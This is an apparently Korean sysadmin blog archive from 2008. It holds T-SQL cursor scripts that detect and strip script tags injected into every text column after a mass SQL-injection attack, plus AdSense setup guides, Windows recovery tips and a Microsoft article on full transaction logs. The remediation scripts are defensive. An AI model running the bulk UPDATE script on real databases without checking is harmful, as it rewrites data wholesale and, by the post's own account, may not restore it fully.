'분류 전체보기'에 해당되는 글 231건

  1. 2008.12.30 SQL Injection으로인한 DB대량 변조시 조치 방법 입니다
  2. 2008.12.30 블로그에 애드센스 광고 넣기(본문 하단) 2
  3. 2008.12.30 블로그에 애드센스 광고 넣기(본문 제목위)
  4. 2008.12.30 블로그에 애드센스 광고 넣기(본문 오른쪽) 1
  5. 2008.12.30 애드센스 블로그에 설치하기
  6. 2008.12.30 구글 애드센스 가입방법
  7. 2008.11.25 windows 2000을 포맷하지 않고 초기화는 방법
  8. 2008.11.25 SQL 트랜잭션 로그가 가득 차는 원인
  9. 2008.11.25 윈도우2000에서 137기가 바이트 이상의 고용량 하드 사용하기
  10. 2008.11.25 부팅시 ntdetect.com 에러가 발생해서 부팅이 멈추는 현상
  11. 2008.11.25 MBR 에러와 부트섹터 에러의 해결 방법
  12. 2008.11.25 페이징 파일 에러로 부팅이 되지 않을 때, 페이징 파일 삭제방법
  13. 2008.11.25 부팅시 ntoskrnl.exe 에러 메시지가 발생을 했을 때 해결 방안
  14. 2008.11.25 NTLDR is Missing 에러가 발생 해서 부팅이 되지 않을 경우 1
  15. 2008.11.25 80포트 공격법
  16. 2008.10.09 Windows XP 서비스별 설명
  17. 2008.10.07 Windows2003 이벤트'서버가 시스템의 페이지된 풀에서 메모리를 할당할 수 없다'
  18. 2008.09.26 Cisco Switch에서 IP로 사용 Port찾기
  19. 2008.08.08 MS-SQL table 복사
  20. 2008.08.06 MS-SQL 테이블 개체소유자 변경
  21. 2008.08.06 MS-SQL 데이터정렬 변경하기
  22. 2008.08.06 MS-SQL 테이블별 용량체크
  23. 2008.07.30 Windows Server DNS백업을 위한 레지스트리의 DNS Zones 위치정보
  24. 2008.07.30 Windows 2003 메모리 3G이상 사용시
  25. 2008.07.30 IIS재설치후 백업된 메타데이터로 복원시 IUSR 계정 패스워드가 변경되어 발생하는 에러 해결방안 1
  26. 2008.07.23 네임서버에 남은 캐쉬 Time 확인하기
  27. 2008.07.23 중소기업을 위한 SQL Server 기본 모니터링 - 3
  28. 2008.07.23 중소기업을 위한 SQL Server 기본 모니터링 - 2
  29. 2008.07.23 중소기업을 위한 SQL Server 기본 모니터링 - 1
  30. 2008.07.16 MS-SQL 데이터정렬 변경하기

* Script 삽입 공격을 당했는지 확인하는 쿼리

-------------------------------------------------------------
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN

exec ('select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<script%</script>''');
-- print 'select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<script%</script>'''

  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
---------------------------------------------------------------------------------

* 위의 공격을 당했을 때 복원하는 쿼리 (100% 다 되는 것은 아님 - 별도 확인 필요)

* 해킹 시 길이가 긴 경우에는 짤리고 들어가는 현상이 발생함 - 이 경우에는 복원을 해도 원상복구가 안됨

* 백업 받은 것을 복원하는 수 밖에는 없음

---------------------------------------------------------------------------------
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs<%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%<script%</script>'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
----------------------------------------------------------------------------------

Posted by 시스템매니아
,

제 블로그를 예로 설명하겠습니다.

블로그 : tistory.com

블로그 스킨 : simpleWhite_Daisy

애드센스 광고 : 336*280

처음 관리자 모드로 들어가서 스킨을 선택후 현재사용중인 스킨 아래

HTML/CSS를 선택합니다.

skin.html안의 코드부분을 마우스로 한번 클릭후 Ctrl+F 키를 눌러 검색창을 띄웁니다.

<##_article_rep_desc_##> 을 찾고 아래 코드 사이에 넣으시면됩니다. 글 등록문제로 변경하였으나 코드의

가로는 <>가 아닌 []입니다.
 
<##_article_rep_desc_##>
애드센스 광고 코드 삽입
</div>
<!-- tag label, trackback, comment -->

본문하단 경우 제블로그처럼 336*280 텍스트 광고를 넣으시면됩니다.

광고삽입시 아래처럼 하시기바랍니다.


<table width="336" height="280" align="center"border="0" cellpadding="0" style='background-image:url
();background-repeat:no-repeat;'>
<tr>
<td valign="top" style="padding-top:0px;padding-left:5px;">
애드센스 광고 코드 삽입
</td></tr>
</table>
</div>
<!-- tag label, trackback, comment -->


구글 애드센스 가입방법

애드센스 블로그에 설치하기

블로그에 애드센스 광고 넣기(본문 제목위)

블로그에 애드센스 광고 넣기(본문 오른쪽)

Posted by 시스템매니아
,

제 블로그를 예로 설명하겠습니다.

블로그 : tistory.com

블로그 스킨 : simpleWhite_Daisy

처음 관리자 모드로 들어가서 스킨을 선택후 현재사용중인 스킨 아래

HTML/CSS를 선택합니다.

skin.html안의 코드부분을 마우스로 한번 클릭후 Ctrl+F 키를 눌러 검색창을 띄웁니다.

</s_guest> 을 찾고 아래 코드 사이에 넣으시면됩니다.
 
</s_guest>
애드센스 광고 코드 삽입
<!-- notice -->

본문제목위의 경우 제블로그처럼 추천배너나 468*60의 텍스트 광고를 넣으시면됩니다.

광고 삽입시 중앙에 정렬시킬경우 아래처럼 하시기바랍니다.

</s_guest>
<div align="center">
애드센스 광고 코드 삽입
</div>
<!-- notice -->


구글 애드센스 가입방법

애드센스 블로그에 설치하기

블로그에 애드센스 광고 넣기(본문 오른쪽)

블로그에 애드센스 광고 넣기(본문 하단)

Posted by 시스템매니아
,

제 블로그를 예로 설명하겠습니다.

블로그 : tistory.com

블로그 스킨 : simpleWhite_Daisy

애드센스 광고 : 300 *250

처음 관리자 모드로 들어가서 스킨을 선택후 현재사용중인 스킨 아래

HTML/CSS를 선택합니다.

skin.html안의 코드부분을 마우스로 한번 클릭후 Ctrl+F 키를 눌러 검색창을 띄웁니다.

<div class="article"> 을 찾고 아래 코드 사이에 넣으시면됩니다.
 
<div class="article">
애드센스 광고 코드 삽입

본문오른쪽 경우 제블로그처럼 300*250이나 250*250 텍스트 광고를 넣으시면됩니다.

광고삽입시 아래처럼 하시기바랍니다.

<div class="article">
<table width="300" height="250" align="right"border="0" cellpadding="0" style='background-image:url
();background-repeat:no-repeat;'>
<tr>
<td valign="top" style="padding-top:5px;padding-left:5px;">
애드센스 광고 코드 삽입
</td></tr>
</table>


구글 애드센스 가입방법

애드센스 블로그에 설치하기

블로그에 애드센스 광고 넣기(본문 제목위)

블로그에 애드센스 광고 넣기(본문 하단)

Posted by 시스템매니아
,

신청후 1일~6일 내로 구글에서 승인메일을 보내줍니다.
승인이 실패했을경우 홈페이지나 블로그의 내용을 더 채우셔서 다시신청하시면됩니다.

애드센스 로그인후 애드센스 설정을 선택합니다.

콘텐츠용 애드센스 선택후 광고 다위의 텍스트 광고만을 선택하시기 바랍니다.

링크 단위의 경우 클릭을 두번해야 수익이 된다고합니다.

형식 :

상단 배너의 경우 (468*60 배너 선택)
메인페이지 글 오른쪽의 경우(300*250, 250*250배너 선택)
하단 글 아래의 경우(468*60, 300*250, 250*250배너 선택)

색상 : 본인의 사이트 색상과 유사하게하거나 임의로 선택하시면됩니다

추가옵션 : 공익광고표시 선택(광고가 없을경우 표시이나 큰 의미없습니다)

모든채널 : 새 채널 추가후 배너의 이름을 부여하면 차후 보고서에 어떤 배너를 통해 가입자가 클릭해서 수익이 발생했는지 체크할수 있습니다.

애드센스 코드 : 코드 부분을 복사해 자신의 블로그내에 삽입하면됩니다. 삽입후 미리보기로 적용 여부 꼭 확인하세요
<div align="center">자신의 애드센스 코드</div>
이렇게 복사해넣으시면 광고를 중앙에 표시할수 있습니다.



구글 애드센스 가입방법

블로그에 애드센스 광고 넣기(본문 제목위)

블로그에 애드센스 광고 넣기(본문 오른쪽)

블로그에 애드센스 광고 넣기(본문 하단)

Posted by 시스템매니아
,

1. 구글 애드센스란?
구글 애드센스란 구글의 광고서비스입니다.
홈페이지, 블로그의 운영자가 광고를 달고 방문자가 광고 클릭시 수익을 얻게 해줍니다.

2. 광고 클릭시 수익은?
공개되 있지 않지만 경험자들의 경우 광고 클릭당 100원 ~ 1000원 사이라고 하며
광고클릭후 사이트에서의 페이지 뷰나 가입등 활동이 많을 경우에 따라 달라진다고합니다.

3. 가입방법
아래의 배너를 클릭하면 신청버튼이 나타납니다.


웹사이트 URL : 광고를 올릴 홈페이지, 블로그 주소를 넣으세요
웹사이트 언어 : 한국어 선택
계정 종류 : 비사업자 선택
국가 또는 지역 : 한국 선택

수위인 이름 : Hong Gil Dong
http://www.koreapost.go.kr/servlet/kpp.post.PostInfo 에서 영문주소 검색하세요
주소 1421-1 Beonji, Bongchun-dong, Guanak-gu
도시 Seoul
시/도 Seoul
우편번호 : 111-111
국가 : KOREA(REP)선택
전화번호 : 82-2-111-1111 or 휴대폰 82-10-777-7777(010에서 앞의 0은 빠짐니다)

이하 나머지 부분 모두 체크하시고 정보체출을 누르면 가입이 됩니다.
신청시 자신의 홈페이지나 블로그의 정보가 빈약하거나 사회적으로 금기시될때는
가입이 되지않을수 있습니다. 일반적으로 가입요청후 1일-6일사이에 답변메일이
날라옵니다.


애드센스 블로그에 설치하기

블로그에 애드센스 광고 넣기(본문 제목위)

블로그에 애드센스 광고 넣기(본문 오른쪽)

블로그에 애드센스 광고 넣기(본문 하단)

Posted by 시스템매니아
,
윈2000 재설치하지 않고 초기화시키는 방법!!!

재설치를 하지 않고 윈2000의 셋팅을 초기화시키는 방법은 winnt - system32 - config 폴더안의 파일을 winnt - repair 폴더안의 파일들로 대치를 시키는것입니다

물론 윈2000부팅 된 상태에서는 접근이 안됩니다.. 즉,,도스부팅디스켓으로 또는 윈98로 부팅후 winnt - repair 폴더안의 파일들을 winnt - system32 - config 폴더안으로 복사 해넣으시면 되지요 .
이 파일들은 숨김.시스템속성이 있으므로 당연히 속성을 확인하셔야 겠지요..

멀티부팅 해서 쓰시는 분은 다른 OS로 부팅하셔서 작업하시면 편하실겁니다..

그런후에 재부팅하 시면 윈2000이 초기화 즉,,첨 설치시의 환경으로 돌아갑니다. 이 경우레지스트리 시스템 장치 보안정보등이 초기화가 되지요..

물론 응용프로그램도 설치가 안된 상태로 됩니다..

윈2000을 재설치 안하고 파일들을 복사해 넣음으로 초기상태로 돌아가서 사용하게 됩니다.

보조프로그램의 백업 응급복구디스켓을 시스템이 가장 안정화 되어있을때 만드시면 winnt - repair - regback 라는 폴더가 생기고 그 아래에 파일들이 생깁 니다.. 윈2000에 이상이 있을 시에 위에서 처럼 winnt - repair 안의 파일들 대신 winnt - repair - regback

파일들을 이용해서 작업하시면 됩니다

Posted by 시스템매니아
,
출처 : http://support.microsoft.com

요약
SQL Server 트랜잭션 로그가 가득 차면 데이터베이스에서 CHECKPOINT를 비롯하여 UPDATE, DELETE 또는 INSERT 작업을 더 이상 할 수 없습니다. 이러한 상황은 아래와 같은 오류 1105로 나타납니다.

Can't allocate space for object syslogs in database dbname because the logsegment is full. If you ran out of space in syslogs, dump the transaction log. Otherwise use ALTER DATABASE or sp_extendsegment to increase the size of the segment.
master 또는 tempdb를 비롯한 어떤 데이터베이스에서나 이러한 상황이 발생할 수 있습니다. 본 문서에서는 오류 1105를 일으키는 문제점에 대한 가능한 원인과 해결 방법을 설명합니다. 트랜잭션 로그가 가득 차서 오류 1105가 발생한 경우에는 DUMP TRANSACTION 문을 사용하여 로그를 비워야 합니다. DUMP TRANSACTION의 사용 방법에 대한 자세한 내용은 SQL Server 설명서를 참조하십시오.
추가 정보
Microsoft SQL Server 같은 전형적인 관계형 데이터베이스의 기본 특성은 트랜잭션 무결성을 보장하는 것입니다. 모든 트랜잭션은 시스템 오류가 발생한 경우에도 변경 내용이 모두 적용되거나 전혀 적용되지 않는다는 점에서 완전한 원자성(즉, 개별적으로 기능을 수행)을 가져야 합니다. 사용자 정의 트랜잭션에서 BEGIN TRANSACTION 문과 COMMIT TRANSACTION 문 사이에 있는 모든 문은 모두 적용되거나 또는 전혀 적용되지 않습니다. 암시적 트랜잭션에서는 각각의 개별 SQL 문을 원자 단위로 간주합니다.

이러한 기능 때문에 SQL Server는 프로덕션 단계에서 전원 공급이 차단되거나 운영 체제가 충돌하는 등의 문제가 발생한 다음 다시 시작되고 나면 사용자의 개입 없이 자동으로 데이터베이스를 일관된 상태로 복구합니다. 이와는 대조적으로 비 관계형 시스템에서는 시스템 오류가 발생하면 데이터베이스의 일관성 문제를 검사하기 위해 오랜 시간에 걸친 수동 작업이 필요한 경우가 많습니다.

이러한 기능은 바로 트랜잭션 로그 메커니즘에 의해 제공됩니다. 트랜잭션 무결성은 SQL Server의 기본 기능, 즉 본질적인 특성으로 간주되기 때문에 로깅 설정을 해제할 수 없습니다. 특정 유틸리티를 사용하거나 빠른 BCP 또는 SELECT INTO 같은 유지 관리 작업을 통해 최소 로깅을 수행할 수 있지만 이러한 최소 로깅에서도 나중에 롤백할 수 있도록 익스텐트 할당을 기록합니다.

로깅에는 상당히 많은 공간이 필요할 수 있습니다. 예를 들어, 대개의 경우 업데이트되는 각 데이터 행의 업데이트 이전 및 이후 이미지뿐만 아니라 영향을 받는 모든 인덱스 행의 이미지도 기록해야 합니다. 로그에 기록되는 각 행에 대해 일정 양의 트랜잭션 레코드 오버헤드를 기록해야 하기 때문에 업데이트되는 데이터와 소모되는 로그 공간의 비율은 행 너비에 따라 상당히 다를 수 있습니다. 좁은 행인 경우에는 특정 UPDATE, DELETE 또는 INSERT 작업에 소모되는 로그 공간이 소모되는 데이터 공간의 10배가 될 수 있습니다. 행이 넓으면 소모되는 로그 공간이 상대적으로 작아집니다. 트랜잭션 무결성을 제공하기 위해서는 로그 공간 소모를 피할 수 없습니다. 데이터베이스 관리자는 설치 시 충분한 로그 공간을 제공해야 합니다.

필요한 로그 공간은 여러 가지 요인에 따라 달라질 수 있기 때문에 정확하게 예측하기는 어렵습니다. 처음에 로그 크기를 데이터베이스 크기의 15-30% 크기로 할당하는 것이 적절하다는 일반적인 규칙이 있지만, 실제 상황에서는 이 규칙도 매우 다를 수 있습니다. 성공적인 SQL Server 설치에서는 사용할 특정 데이터 및 응용 프로그램에 필요한 로그 공간을 대략적으로 예측하기 위해 간단한 실증적 테스트를 수행한 다음 그 예측을 바탕으로 로그 크기를 정합니다. 테스트 없이 계산만을 바탕으로 로그 크기를 정하기는 어려우며 정확하지 않을 수 있습니다.

예측하기 어려운 여러 가지 요인이 로그 공간 소모량의 변화에 영향을 미칠 수 있습니다. 그러한 요인 중 하나는 쿼리 최적화 프로그램(Query Optimizer)입니다. 특정 SQL 데이터 수정 문의 경우 액세스 계획은 데이터의 통계적 분포에 따라 시간이 가면서 달라질 수 있습니다. 액세스 계획마다 서로 다른 크기의 로그 공간을 소모할 수 있습니다. 또 따른 요인은 피할 수 없는 내부 데이터베이스 조각화로서 이는 수행되는 페이지 분할의 수에 영향을 미칠 수 있습니다. SQL Server는 사용자를 대신하여 데이터를 자동으로 관리하기 때문에 이 프로세스를 조사하거나 이 프로세스에 영향을 주기 위해 사용자가 할 수 있는 일이나 해야 할 일은 없습니다.

간단한 테스트 예제로 DBCC CHECKTABLE(syslogs)을 실행할 수 있습니다. 그러면 데이터 수정 쿼리에 대한 대표 예제를 실행하기 전과 실행한 후에 로그에 있는 2048바이트 데이터 페이지 수가 반환됩니다. 이 방법으로 이 유형의 쿼리에 필요한 로그 공간 크기를 대략적으로 알 수 있습니다. SQL Server 같은 관계형 데이터베이스에 로그 공간이나 데이터 디스크 공간을 제공할 때는 일반적으로 공간을 과다하게 할당하는 것이 최선의 방법입니다.

SQL Server 7.0 및 2000 클래스 서버는 필요에 따라 트랜잭션 로그를 확장하는 기능이 있습니다. 확장되는 크기를 사용자가 조정할 수도 있고 사용 가능한 디스크 공간을 모두 이용하도록 지정할 수도 있습니다. 로그 파일은 여러 개의 가상 로그 파일로 구성됩니다. 이 가상 로그 파일의 개수와 크기는 SQL Server에서 자동으로 결정하며 사용자가 구성할 수 없습니다. 데이터베이스를 처음 생성할 때 각 실제(Physical) 로그 파일은 최소한 두 개의 가상 로그 파일을 가집니다. 데이터베이스 관리자는 로그 공간 부족이 발생하지 않도록 하기 위해 데이터베이스의 "검사점에서 로그 자름(Truncate log on checkpoint)" 옵션을 사용 가능하게 설정하기도 합니다. 이 옵션의 목적은 주로 백업을 위해 로그 덤프에 의존하지 않는 개발용 또는 테스트용 데이터베이스를 위해 자동으로 로그를 자르는 방법을 제공하는 것입니다. 이 옵션을 설정해도 로깅 또는 트랜잭션 무결성의 설정이 해제되지는 않습니다. 이 옵션을 설정하면 단지 검사점(Checkpoint) 처리기가 약 60초 간격으로 로그를 자를 뿐입니다. "검사점에서 로그 자름(Truncate log on checkpoint)" 옵션이 설정된 데이터베이스에 수동 검사점(Checkpoint) 명령을 실행하면 로그가 잘리지 않습니다. tempdb 데이터베이스에 대해서는 이 옵션이 항상 설정되어 있지만 sp_help 저장 프로시저(stored procedure) 출력의 상태 열에는 나타나지 않습니다.

"검사점에서 로그 자름(Truncate log on checkpoint)" 옵션을 설정하더라도 여러 가지 요인에 의해 로그 공간이 부족할 수 있습니다. 이러한 각각의 요인을 아래에서 설명합니다.
대량 원자 트랜잭션, 특히 일괄적인 UPDATE, INSERT 또는 DELETE 작업 트랜잭션: 각각의 단일 SQL 문은 완전히 적용되거나 전혀 적용되지 않아야 하는 원자 단위로 간주됩니다. 따라서 모든 행 교체가 로그에 기록되어야 하며 수행되는 동안에는 트랜잭션이 잘리지 않습니다. 예를 들어, 실행하는 데 5분이 걸리는 대량 일괄 INSERT가 실행될 경우 이 시간 동안은 해당 트랜잭션에 소모되는 로그가 잘리지 않습니다. 데이터베이스 관리자는 예상되는 가장 큰 일괄 작업을 수행하는 데 충분한 로그 공간을 제공하거나 일괄 작업을 좀더 작은 그룹으로 나누어 수행해야 합니다.
커밋되지 않은 트랜잭션: 로그는 가장 오래된 커밋되지 않은 트랜잭션 이전까지만 잘립니다. 커밋되지 않은 트랜잭션의 원인은 몇 가지가 있을 수 있지만 대개는 응용 프로그램 오류가 그 원인입니다. 원인은 아래와 같습니다.
일괄 트랜잭션: 위에서 설명한 것처럼 대량 일괄 트랜잭션이 수행되는 동안에는 트랜잭션에 의해 생성되는 로그 레코드가 잘리지 않습니다. 그러나 그러한 트랜잭션 때문에 같은 기간에 커밋을 수행하는 좀더 짧은 다른 트랜잭션의 로그도 잘리지 않습니다.

예를 들어, 데이터베이스 관리자가 가능한 가장 큰 일괄 트랜잭션을 수행하는 데 충분한 크기의 로그를 할당했다고 가정합니다. 그러나 이 트랜잭션이 실행되는 동안 좀더 짧은 다른 데이터 수정 문도 역시 로그 공간을 소모할 수 있습니다. 대량 일괄 트랜잭션이 먼저 시작되었고 그것이 가장 오래된 커밋되지 않은 트랜잭션이기 때문에 로그 공간은 잘리지 않습니다. 관리자는 대량 일괄 트랜잭션의 동시성과 로그에 미치는 영향을 인식하고 적절하게 로그 크기를 조정해야 합니다.
사용자 정의 트랜잭션 내에서 사용자 입력 또는 시간이 오래 걸리는 다른 작업을 허용하는 잘못 설계된 응용 프로그램: 응용 프로그램이 BEGIN TRANSACTION을 실행한 후 사용자의 동작에 따라 시간이 오래 걸릴 수도 있는 입력을 사용자에게 요구하는 경우를 예로 들 수 있습니다. 이 경우, 사용자가 응답하고 응용 프로그램이 COMMIT을 실행할 때까지는 로그를 자를 수 없습니다.
트랜잭션이 커밋되지 않는 응용 프로그램 오류: 이 오류의 일반적인 원인은 사용자 정의 트랜잭션 내에서 DB-Library 호출 dbcancel()을 잘못 처리하는 것입니다. dbcancel()을 사용하여 쿼리를 취소할 경우 현재 실행 중인 SQL 문은 중단되고 롤백되지만 다른 트랜잭션은 계속 실행됩니다. 응용 프로그램에서 이를 인식하고 필요한 ROLLBACK TRANSACTION 또는 COMMIT TRANSACTION 문을 실행하여 트랜잭션을 닫아야 합니다. 그렇지 않으면 아래와 같은 오류 3902가 발생합니다.

The commit transaction has no corresponding BEGIN TRANSACTION.
응용 프로그램에서 SELECT @@TRANCOUNT를 보내어 어떤 트랜잭션 중첩 수준이 있는지 확인하는 것이 유용할 수도 있습니다. 그러나 응용 프로그램에서 무조건 SELECT @@TRANCOUNT를 보낸 다음 COMMIT/ROLLBACK을 실행하여 @@TRANCOUNT=0을 얻을 수는 없습니다. @@TRANCOUNT가 응용 프로그램이 예상하는 것과 다르면 응용 프로그램이 트랜잭션 중첩 수준을 추적하는 데 실패했음을 의미하므로 응용 프로그램 설계에 오류가 있는 것입니다. 이 시점에서 COMMIT/ROLLBACK을 실행하면 응용 프로그램은 어떤 트랜잭션이 의도하지 않은 트랜잭션 수준이 되었는지 알지 못하기 때문에 의도하지 않은 트랜잭션이 적용되거나 중단될 수도 있습니다. 대신에 프로그래머는 응용 프로그램 및 관련된 저장 프로시저(stored procedure)를 디버깅하여 의도하지 않은 트랜잭션 수준의 원인을 알아내야 합니다.
네트워크 연결 끊김을 SQL Server에 알리지 않는 네트워크 오류: 사용자 정의 트랜잭션이 실행되는 동안 클라이언트 워크스테이션이 응답하지 않거나 다시 부팅되거나 종료되면 네트워크 계층에서 SQL Server에 이 사실을 알려야 합니다. 네트워크가 적절하게 이 사실을 알려주지 않으면 SQL Server에게는 클라이언트가 여전히 존재하는 것처럼 보이기 때문에 클라이언트가 열어 놓은 트랜잭션이 계속 유지됩니다. 이는 네트워크 문제이므로 네트워크를 조사해야 합니다. 관리자가 sp_who, sp_lock 또는 네트워크 유틸리티를 사용하여 여전히 존재하는 클라이언트 세션을 확인한 다음 수동으로 제거함으로써 이 문제를 해결할 수 있습니다.
차단으로 인해 커밋되지 않은 트랜잭션: 다중 사용자 환경에서는 열려 있는 트랜잭션이 다른 프로세스가 설정한 잠금(Lock)에 의해 차단될 수 있습니다. 이 경우 트랜잭션이 계속 열려 있어 로그를 자르지 못하게 합니다. 이 문제를 확인하려면 프로그래머 또는 데이터베이스 관리자가 sp_who, sp_lock 또는 기타 도구를 사용하여 동시성 환경을 분석해야 합니다. 대부분의 경우 적절한 쿼리, 인덱스 및 데이터베이스 설계를 통해 차단 문제를 줄이거나 없앨 수 있습니다.
데이터 수정 쿼리를 취소하는 데 실패: 응용 프로그램이 dbcancel()을 실행했으나 네트워크 또는 SQL 문제로 인해 쿼리가 취소되지 않으면 쿼리는 계속 실행되고 트랜잭션은 열린 상태를 유지합니다. 이 문제가 의심스러우면 sp_who를 사용하여 쿼리가 취소되었는지 확인합니다. TCP/IP 소켓 클라이언트에서 취소를 시도하는 경우에는 명명된 파이프(Named Pipe) 클라이언트에서 테스트를 수행하거나 로컬 파이프를 사용하여 서버 컴퓨터에서 클라이언트 응용 프로그램을 실행합니다. 이 방법은 쿼리가 취소되지 않은 것이 네트워크 문제 때문인지 SQL 문제 때문인지 구분하는 데 도움이 됩니다.
검사점(Checkpoint) 처리기 잘라내기 대역폭 초과: 로그는 60초마다 잘리지만 이 잘라내기 속도는 제한적입니다. 이 시나리오는 일반적이지 않으므로, 먼저 기타 가능한 로그 오버플로의 원인을 고려하여 배제한 후 이 시나리오에 해당하는지 검사해야 합니다. 그러나, 많은 클라이언트가 동시에 대량 업데이트를 수행하면 최대 잘라내기 속도보다 로그가 차는 속도가 더 빠를 수 있습니다. 이는 액체를 일정한 속도로만 배출할 수 있는 깔대기를 사용할 때 배출하는 동안에도 액체가 넘칠 수 있는 것과 유사합니다. 이 시나리오에 해당하면 업데이트되는 행의 수를 줄이도록 응용 프로그램을 다시 구성할 수 있습니다. 업데이트되는 행의 수를 줄이는 것은 항상 모든 관계형 데이터베이스의 기본 설계 목표가 되어야 합니다.

이 방법으로 해결할 수 없으면 스트라이핑, 추가 컨트롤러 등을 통해 디스크 I/O 대역폭을 늘리도록 시스템을 재구성할 수 있습니다. 이 경우에는 일반적으로 검사점(Checkpoint) 처리기 프로세스가 로그 잘라내기를 계속 시도하면서 DUMP TRANSACTION 상태에서 점점 더 많은 시간을 소모하는지 확인합니다. 잘라내기 임계값을 초과하고 나면(아래 참조) 로그를 지울 때까지 검사점(Checkpoint) 처리기가 해당 데이터베이스에서 잘라내기를 시도하는 것을 보지 못할 수도 있습니다.
잘라내기 임계값 초과: 검사점(Checkpoint) 처리기는 기본적으로 DUMP TRANSACTION WITH TRUNCATE_ONLY를 수행합니다. 로그가 이미 특정 지점까지 가득 찼으면 수동으로 실행했을 때처럼 덤프가 항상 성공하지는 않습니다. 예를 들어, 검사점(Checkpoint) 처리기가 로그를 잘라낸 후 다음에 다시 잘라내기 전에 많은 업데이트 작업이 몰려 로그가 95%까지 채워질 수 있습니다. 검사점(Checkpoint) 처리기가 잘라내기를 시도할 때는 로그가 완전히 채워지지는 않았지만 거의 가득 차서 잘라내기가 불가능할 수도 있습니다. 이 때 잘라내기를 수행할 수 없는 이유는 로그 잘라내기 자체를 로그에 기록해야 하기 때문입니다. 이 경우 유일한 해결 방법은 DUMP TRANSACTION WITH NO_LOG를 사용하여 수동으로 로그를 잘라내는 것입니다. NO_LOG 옵션을 사용하는 것은 로그에 기록되지 않는 작업이기 때문에 이 작업을 하는 동안 시스템에 오류가 발생하면 데이터베이스 오류로 이어질 수 있으므로, 반드시 필요한 경우가 아니면 NO_LOG 옵션을 사용하지 않는 것이 좋습니다.
위 요인들 간 상호 작용: 예를 들어, 업데이트가 많은 환경인 경우 정상 조건에서는 검사점(Checkpoint) 처리기 잘라내기 속도에서 로그가 가득 채워지지 않습니다. 예를 들어, 잠금(Lock) 경쟁 같은 위 조건 중 하나에 의해 일시적으로 열린 트랜잭션이 로그를 50%까지 채운다고 가정하면 다른 업데이트 상황을 처리하기 위한 공간이 줄어들어 자동 잘라내기가 불가능한 지점인 잘라내기 임계값까지 도달할 가능성이 더욱 커집니다. tempdb 데이터베이스에서의 트랜잭션은 다른 데이터베이스의 경우와 마찬가지로 로그에 기록됩니다. TRUNCATE LOG ON CHECKPOINT는 tempdb에 있기 때문에 대부분의 경우 로그가 잘리고 오버플로가 발생하지 않습니다. 그러나 위에 언급한 상황으로 인해 tempdb 로그가 가득 채워질 수 있습니다. Tempdb는 일반적으로 혼합된 로그 및 데이터(sysusages.segmap=7)를 위해 구성되므로 데이터 작업과 로그 작업이 사용 가능한 동일 공간을 차지하기 위해 경쟁합니다. GROUP BY, ORDER BY DESC 등과 같은 특정 Transact-SQL 구성 요소는 작업 공간을 확보하기 위해 자동으로 tempdb를 요구합니다. 이 트랜잭션은 또한 작업 공간을 위해 tempdb에서 암시적 BEGIN TRANSACTION 레코드를 발생합니다. 이 tempdb 트랜잭션은 사용자 데이터베이스에서 트랜잭션 기간 동안 계속되며 이로 인해 이 기간 동안 tempdb 로그 잘라내기가 지연될 수 있습니다. 잠금(Lock)에 의한 차단 또는 응용 프로그램이 dbnextrow()를 완전히 처리하지 않는 등의 문제로 인해 사용자 데이터베이스에서 트랜잭션이 중단되면 tempdb에서의 트랜잭션이 열린 상태로 남게 되어 tempdb 로그 잘라내기를 방해할 수 있습니다. 프로그래머는 응용 프로그램을 디버깅하고 이 문제를 유발한 동시성 문제를 해결해야 합니다.
SQL Server 7.0 및 2000 클래스 서버에서 트랜잭션 로그 잘라내기는 가상 로그 파일(VLF)을 잘라냄으로써 수행됩니다. 활성 로그의 일부분이 특정 VLF에 있으면 해당 VLF를 잘라낼 수 없습니다. 활성 로그가 모든 VLF에 있으면 해당 로그를 잘라낼 수 없습니다. autogrowth가 사용 가능하게 설정되어 있고, 트랜잭션 로그가 있는 볼륨에 공간이 있으며 최대 파일 크기에 도달하지 않았으면 트랜잭션 로그는 로그 파일 등록 정보에 지정된 크기까지 커집니다.
아래에서는 TRUNCATE LOG ON CHECKPOINT의 설정 여부에 따라 SQL을 시작할 때의 로그 잘라내기 동작을 설명합니다.
TRUNCATE LOG ON CHECKPOINT를 설정했고 시작할 때 로그가 가득 차있으면 no_log를 사용하여 로그가 자동으로 덤프됩니다.
마스터 데이터베이스의 로그를 별도의 장치에 넣으면 로그가 로드될 수 없기 때문에 이제 마스터 데이터베이스에서는 TRUNCATE LOG ON CHECKPOINT가 기본값입니다. 가능한 옵션은 로그가 가득 찼을 때 삭제하는 것 뿐입니다.
TRUNCATE LOG ON CHECKPOINT를 설정하지 않았고 시작할 때 로그가 가득 차지 않았으면 복구는 완료되지만 최종 검사점(Checkpoint)이 작성되지 않습니다. 관리자는 데이터베이스에 액세스하여 no_truncate로 로그를 덤프하여 데이터를 저장한 다음 no_log로 덤프하여 로그를 제거하거나 덤프 작업 없이 바로 제거할 수 있습니다.

Posted by 시스템매니아
,
1.윈도가 반드시 137기가 보다 적은 파티션에 먼저 설치되어야 합니다.
2.메인보드 바이오스에서 48-bit LBA 모드를 지원해야 합니다.
3.당연하지만 137기가 이상의 하드 디스크가 있어야 합니다.
4.레지스트리에서 다음 값을 설정하여야 합니다.
-시작-실행-regedit 엔터
